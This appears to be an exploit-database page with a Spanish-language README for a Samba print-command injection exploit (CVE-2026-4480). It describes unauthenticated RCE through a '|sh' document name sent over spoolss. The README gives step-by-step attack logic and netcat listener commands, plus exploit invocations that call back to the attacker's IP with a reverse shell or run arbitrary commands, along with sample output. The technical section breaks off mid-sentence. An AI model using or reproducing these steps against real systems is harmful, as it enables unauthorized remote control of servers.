Critical Severity CVE-2026-4480
Published: Oct 25, 2026

[GitHub] CVE-2026-4480-samba-print-command-injection-rce

Rce
Type
N/A
CVSS Score
4
Views
Anonymous
Author

Description

Exploit para CVE-2026-4480: inyeccion de comandos en la variable %J del print command de Samba para RCE sin autenticacion via spoolss.

# CVE-2026-4480 - Samba Print Command Injection - RCE sin Autenticacion

## Descripcion

Desarrolle este exploit para la vulnerabilidad CVE-2026-4480 en Samba. El bug esta en como Samba maneja la variable `%J` (nombre del documento) en la directiva `print command` de `smb.conf`. El nombre del documento se pasa sin sanitizar al shell, lo que permite inyectar comandos arbitrarios a traves del campo `document_name` en un trabajo de impresion via RPC.

## Como funciona

1. **Conexion anonima**: Se conecta al named pipe `\pipe\spoolss` del servidor Samba sin credenciales
2. **Apertura de impresora**: Abre un handle a la impresora compartida con permisos de uso
3. **Inyeccion via document_name**: Setea el nombre del documento como `|sh`, lo que hace que Samba interprete el contenido del spool como un script de shell
4. **Envio del payload**: Escribe el comando (reverse shell o comando custom) como cuerpo del documento
5. **Ejecucion**: Al llamar a `EndDocPrinter`, Samba ejecuta el print command que invoca `/bin/sh` con el contenido del spool

## Requisitos

```bash
sudo apt install python3-samba
```

## Uso

Primero, levanta un listener:

```bash
nc -lvnp 4444
```

Luego ejecuta el exploit:

```bash
# Reverse shell
python3 CVE-2026-4480-samba-print-command-injection-rce.py <IP_OBJETIVO> <TU_IP> 4444

# Comando custom
python3 CVE-2026-4480-samba-print-command-injection-rce.py <IP_OBJETIVO> <TU_IP> 4444 -c "whoami > /tmp/pwned"

# Especificar nombre de impresora
python3 CVE-2026-4480-samba-print-command-injection-rce.py <IP_OBJETIVO> <TU_IP> 4444 -P nombre-impresora
```

## Ejemplo de salida

```
[*] target : 10.10.10.1 (\\10.10.10.1\printer-share)
[*] callback : 10.10.14.5:4444 (start a listener first: nc -lvnp 4444)
[+] print job submitted -- check your listener / out-of-band channel
```

## Detalles tecnicos

- **Vector**: RPC `spoolss` → `StartDocPrinter` con `document_name = "|sh"`
- **Causa raiz**: La variable `%J` en `print command` no se escapa antes de pasarse a

Community Rating
0

Login to rate this exploit

Quick Actions